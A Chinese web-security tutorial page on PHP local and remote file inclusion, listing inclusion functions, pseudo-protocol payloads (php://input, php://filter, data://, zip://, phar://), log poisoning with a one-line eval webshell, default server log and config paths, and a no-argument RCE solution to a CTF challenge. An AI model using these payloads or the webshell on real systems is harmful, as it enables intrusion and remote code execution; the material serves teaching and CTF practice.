您现在的位置是:首页 >技术教程 >文件包含函数网站首页技术教程
文件包含函数
将代码传入文件,从而直接执行文件中的代码
通常文件包含漏洞产生于文件包含函数
LFI:Local File Inclusion,本地文件包含漏洞,大部分情况下遇到的文件包含漏洞都是LFI
RFI:Remote File Inclusion,远程文件包含漏洞
allow_url_fopen=On(默认为On) ,规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) ,规定是否允许include/require
远程文件
I、文件包含函数
-
include()
:遇到错误生成警告,继续执行脚本 -
require()
:遇到错误生成致命错误,脚本继续 -
include_once()
:如果文件已包含,则不再进行包含,一定程度避免错误 -
require()_once()
:如果文件已包含,则不再进行包含,一定程度避免错误 -
fopen()
:文件读取函数 -
file_get_contents()
:文件读取函数
II、包含漏洞利用
一、伪协议
利用伪协议上传或读取文件是文件包含漏洞里比较基础和常用的方式
PHP 提供了一些输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出等
1、 php://input
? `php://input` 是个可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行
需要allow_url_include=On
当遇到file_get_contents() 时可用php://input绕过,但此时只能读取文件
将file_get_contents()
的对象赋值为php://input
,从而将对象转为读取的数据
⚠️ hackbar在post数据的时候会出现问题,所以要使用burpsuite
file1 file2
?file1=**php://input <?php phpinfo();?> ?file2=php://input 1.txt**
2、php://filter
? `php://filter/`是一种访问本地文件的协议
当其与包含函数结合时,php://filter
流会被当作php文件执行
若要想要读取文件,通过对其编码使其不执行
?file=php://filter/read=convert.base64-encode/resource=index.php
/read=convert.base64-encode/
表示对读取数据进行base64编码
resource=index.php
表示目标文件为index.php
执行后可以获得index.php源码
file4
post: file=php://filter/read=convert.base64-encode/resource=index.php
3、data://
? data:[``];[charset=``];[base64],``
-
第一部分是
data:
协议头,它标识这个内容为一个 data URI 资源。 -
第二部分是
MIME
类型,表示这个内容的展现方式。文本展示:text/plain
,图片展示:image/jpeg
,同时客户端也会据其进行数据解析 -
第三部分是编码设置,默认编码是 charset=US-ASCII
-
第四部分是
base64
编码设定 -
最后一部分为这个
Data URI
承载的内容,它可以是纯文本编写的内容,也可以是经过base64编码
的内容
?file=data://text/plain,<?php phpinfo()?> //执行phpinfo() ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= //将命令进行base64加密,编码为“<?php phpinfo()?> ”的base64编码 ?file=data:text/plain,<?php phpinfo()?> //去掉双斜杠 ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file3
file3=data://text/plain,<?php phpinfo()?> //执行phpinfo() file4=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= //将命令进行base64加密,编码为“<?php phpinfo()?> ”的base64编码 file4=data:text/plain,<?php phpinfo()?> //去掉双斜杠 file3=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
4、zip://
? `zip://` 可以访问压缩包里面的文件
zip://中只能传入绝对路径
要用#
分隔压缩包和压缩包里的内容,且#要用url编码%23代替
?file=zip://
D:\file.zip%23
flag.txt
file1
?file1=zip://\var\WWW\html\upload\phpinfo.zip%23phpinfo.php
5、phar://
? 类似`zip://`,相对路径和绝对路径都可以使用,不管后缀名是什么都会将文件当作压缩包解压
其中phar适用范围为php>5.3.0
PHAR Converter - online service for pack and unpack
?file=phar://D:file.zipflag.txt //绝对路径 ?file=phar://file.zipflag.txt //相对路径
?file1=phar://C:\phpstudy_pro\WWW\fi\upload\phpinfo.phar/phpinfo.php ?file1=phar://C:\phpstudy_pro\WWW\fi\upload\phpinfo.jpg/phpinfo.php ?file1=phar://.\upload\phpinfo.jpg/phpinfo.php ?file1=phar://./upload/phpinfo.jpg/phpinfo.php linux ?file1=phar:///var/www/html/upload/phpinfo.jpg/phpinfo.php
二、包含日志文件
当访问网站时,服务器的日志中都会记录访问的行为
当我们访问链接中包含PHP一句话木马时,也会被记录到日志中
通过请求将PHP代码插入到日志文件中,再通过包含这个日志文件来执行其中的PHP代码
要求:日志文件可读,日志文件存储目录
一般日志存储目录会被修改,需要读取服务器配置文件(.conf)或者查看phpinfo()信息。通常需要curl 命令行url访问工具或者bp修改浏览器转码字符来避免转码而导致代码无法执行
Apache运行后一般默认会生成两个日志文件,Windows下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log
访问日志文件记录了客户端的每次请求和服务器响应的相关信息
?file1=phar://.\upload\phpinfo.jpg/phpinfo.php<?php @eval($_POST['ant']);?> HTTP/1.1 ?file1=C:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1652832000 ?file1=/var/log/apache2/access.log
日志写马:
-
获取日志路径
-
发送请求像日志写入木马
-
使用文件包含进行加载
文件 | 路径 |
---|---|
apache+Linux日志默认路径 | /etc/httpd/logs/access_log或/var/log/httpd/access_log |
apache+win2003日志默认路径 | D:xamppapachelogsaccess.log以及D:xamppapachelogserror.log |
IIS6.0+win2003默认日志文件 | C:WINDOWSsystem32Logfiles |
IIS7.0+win2003 默认日志文件 | %SystemDrive%inetpublogsLogFiles |
nginx 日志文件 | 用户安装目录logs目录下(/usr/local/nginx/logs/access.log.) |
PHPstudy日志文件 | %phpstudy_pro%/Extensions/Apache2.4.39/logs/access.log.[NextDay8:00-timestamp] |
apache+linux 默认配置文件 | /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd |
IIS6.0+win2003 配置文件 | C:/Windows/system32/inetsrv/metabase.xml |
IIS7.0+WIN 配置文件 | C:WindowsSystem32inetsrvconfigapplicationHost.config |
三、伪协议被过滤后的方法
例子:[GXYCTF2019]禁止套娃
<?php include "flag.php"; echo "flag在哪里呢? "; if(isset($GET['exp'])){ if (!preg_match('/data://|filter://|php://|phar:///i', $GET['exp'])) { if(';' === preg_replace('/[a-z,]+((?R)?)/', NULL, $GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $GET['exp'])) { // echo $GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(FILE); ?
1.由于第一个if过滤了伪协议。所以不能使用伪协议读取文件 2.知识点:(?R)是引爆点引用当前表达式,(?R)?这里多一个问号,表示可以有引用,也可以没有。'/[a-z,_],所以可以使用print(echo(1)),格式:a(b(c))括号和字符组成的,无参数RCE(远程代码执行)例子。
3.payload:exp=highlight_file(next(array_reverse(scandir(pos(localeconv))))); 4.payload:exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); current() 函数返回数组中的当前元素的值。 参数: highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名 next() 输出数组中的当前元素和下一个元素的值。 array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值) scandir() 函数返回指定目录中的文件和目录的数组。 pos() 输出数组中的当前元素的值。//这个可能使用不了 localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."